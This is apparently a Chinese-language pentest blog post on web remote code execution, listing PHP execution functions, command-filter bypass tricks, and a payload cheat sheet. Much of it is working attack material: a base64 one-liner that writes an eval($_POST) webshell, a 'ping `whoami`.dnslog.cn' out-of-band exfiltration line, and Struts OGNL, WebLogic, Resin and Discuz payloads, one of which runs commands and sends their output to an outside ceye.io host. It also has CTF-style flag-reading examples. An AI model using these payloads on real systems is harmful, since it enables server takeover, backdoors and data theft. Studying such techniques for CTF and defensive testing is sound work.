当前位置:网站首页>WEB 渗透之RCE
WEB 渗透之RCE
2022-08-03 18:13:00 【weixin_53150482】
RCE 代码执行漏洞
文章目录
1. 介绍
- 定义: RCE 又称为代码执行漏洞,可以使攻击者直接向后台服务器注入操作系统命令或者代码,从而控制后台系统
2. 产生原因
出现这种漏洞,一般都是因为应用在设计上需要给用户提供指定远程命令操作的接口,如果应用对于命令的控制极为严苛,(例如: 只能输入 IP 地址) 那么可能不会出现错误,但是如果对于命令的输入验证存在漏洞,那极有可能会演变为命令执行漏洞
3. 漏洞的利用
1. PHP 函数
1. 代码执行函数
函数 | 函数的功能 | 函数的利用文章链接 |
---|---|---|
eval() | 把字符串作为PHP代码执行 | PHP 代码执行漏洞总结大全 |
assert() | 断言,将字符串参数执行 | |
preg_replace() | 执行一个正则表达式的搜索和替换 | |
create_function() | 主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。 | |
array_map() | 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 | |
call_user_func() | 把第一个参数作为回调函数调用 | |
call_user_func_array() | 这个方法是内置函数,可以直接调用函数运行 | |
array_filter() | 用回调函数过滤数组中的元素 | |
uasort() | 利用自定义函数对数组中元素值进行排序 |
2. 命令执行函数
函数 | 作用 | 使用 |
---|---|---|
system() | 执行系统命令输出执行结果 | system("ls") |
exec() | 执行系统命令不输出执行结果,返回执行结果数组, (回显最后一行-必须 echo输出) | exec('ls', $result) |
passthru() | 执行系统命令,输出执行结果(支持二进制) | passthru('ls') |
shell_exec() | 执行系统命令不输出结果,返回执行结果字符串 | shell_exec('ls') |
popen() | 执行系统命令,不输出结果,返回一个资源类型 | popen('ls','r') |
`` | 反引号,执行系统命令,不输出结果,返回执行结果字符集 | \`ls` |
常用的PHP命令执行函数及利用方式 |
2. 绕过过滤方法
1. PHP 字符过滤
如果 PHP 被过滤了,可以使用短标签绕过,常见的 PHP 标签为 <?php ?> ,如果 PHP 字符被过滤了,可以使用短标签 <?= ?>
举例:
<?php system("ls") ?>
=<?= system("ls") ?>
如果拦截了
<?
可以使用 :<script language='php'> @eval($_POST[shell]); </script>
2. 过滤了关键字,如 过滤了 cat 、flag 等关键字
过滤了 cat ,可以使用如下函数代替:
• more:一页一页的显示档案内容 • less:与 more 类似 • head:查看头几行 • tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 • tail:查看尾几行 • nl:显示的时候,顺便输出行号 • od:以二进制的方式读取档案内容 • vi:一种编辑器,这个也可以查看 • vim:一种编辑器,这个也可以查看 • sort:可以查看 • uniq:可以查看 • file -f:报错出具体内容 • sh /flag 2>%261 //报错出文件内容
反斜杠绕过:
ca\t => cat fl\ag => flag ph\p => php
变量拼接法
?ip=192.168.0.1;a=l;b=s;$a$b
- 使用空变量 $* 和 [email protected] , $x, ${x} 绕过
- 反引号绕过
base64 加密绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
引号绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
反引号 `
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换 echo `whoami`
$(command) 命令替换
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
ping -c 4 |echo $(command)
3. 过滤了命令执行函数,如过滤了 system()
url 编码绕过
内联执行绕过:
在 Linux 中
命令
、$(命令) 都是执行命令的方式,输出查询结果的内容,比如使用 ls 查询出·的 index.php .那么ls
就代表了 index.php 这个文件,那么我们就可以使用 cat 命令查看 index.php 的内容,
4. 过滤一些文件读取命令
绕过方法
[[email protected] flag123]# curl file:///flag123/flag flag{ suifeng} [[email protected] flag123]# strings flag flag{ suifeng} [[email protected] flag123]# uniq -c flag 1 flag{ suifeng} [[email protected] flag123]# bash -v flag flag{ suifeng} flag: line 1: flag{ suifeng}: command not found [[email protected] flag123]# rev flag }gnefius{ galf [[email protected] flag123]#
find – 列出当前目录下的文件以及子目录的所有文件
5. 过滤空格
• {cat,flag.txt}
• cat${IFS}flag.txt
• cat$IFS$9flag.txt
• cat$IFS$1flag.txt
• cat<flag.txt
• %09替换
• cat<>flag.txt
• kg=$'\x20flag.txt'&&cat$kg
• (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
6. 过滤分割符 | &
• ; //两条命令都执行,windows不支持
• | //只执行后面那条命令
• || //只执行前面那条命令
• & //先执行command2后执行command1
• && //先执行command1后执行command2
• %0a //换行符
• %0d //回车符号
• %09 // TAB 键
• 用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
7. 过滤括号
使用不需要括号的函数进行绕过: eg echo
8. 输入字符串长度限制
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
Linux 中命令换行:
在 Linux 中,我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \ , 可以将一条命令写在多行,比如将 cat flag 写成这样:[email protected]:~# ca\ > t\ > fl\ > ag this is your flag
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下:
[email protected]:~# echo "ca\\">cmd [email protected]:~# echo "t\\">>cmd [email protected]:~# echo " fl\\">>cmd [email protected]:~# echo "ag">>cmd [email protected]:~# cat cmd ca\ t\ fl\ ag [email protected]:~# sh cmd this is your flag
4. 命令执行漏洞外通信技巧
1. 利用管道符号写入 SHELL
如果在有漏洞的 WEB 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站,访问即可获取 webshell
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
2. DNSLOG
DNSLOG 是一个显示解析记录的平台,在无回显的情况下,通过访问 DNSLOG ,DNSLOG 会把你访问的子域名的头文件记录下来, DNSLOG
在 Kaill 中输入: ping `whoami`.cdfybg.dnslog.cn
5. payload
Struts
xx.action?redirect:http://b182oj.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
weblogic
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
6. 漏洞使用
- CVE-2016-5374 复现
- PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
com/t/2557)
- 靶场: [BJDCTF2020]ZJCTF,不过如此
- 漏洞复现
2. PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
边栏推荐
猜你喜欢
LeetCode - 102. 二叉树的层序遍历;110. 平衡二叉树;098. 验证二叉搜索树
Share 14 JS functions you must know
mysql之的执行计划
rhel8.3 系统下修改有线网卡配置信息实现联网
实现博客营销有哪些技巧
CodeTON Round 2 (Div. 1 + Div. 2, Rated, Prizes), problem: (D) Magical Array
我们为何看好投资 DAO?
技术开发人员常用的安全浏览器
Is OnePlus Ace worth buying?Use strength to interpret the power of performance
使用.NET简单实现一个Redis的高性能克隆版(一)
随机推荐
【Deliberately practice the view of the back tube】deliberately practice
Install porterLB
【mysql】SIGN(x)函数
Crack:WebKitX ActiveX and WebKitX VHX
宝塔搭建企业招聘网站源码实测
Selenium of reptiles
基于PHP7.2+MySQL5.7的回收租凭系统
USD 能统一元宇宙吗?
VsCode preview Geojson data
动态接口比例性能测试实践
yaml数据格式
es6新增-async函数(异步编程的最终解决方案)
NLP的Taskflow API
Blender script 删除所有幽灵对象
异常与智能指针
87.(cesium之家)cesium热力图(贴地形)
分享 14 个你必须知道的 JS 函数
cell delay and net delay
借助Web3盘活日本优质IP:UneMeta 与 OpenSea 的差异化竞争
常见亲脂性细胞膜染料DiO, Dil, DiR, Did光谱图和实验操作流程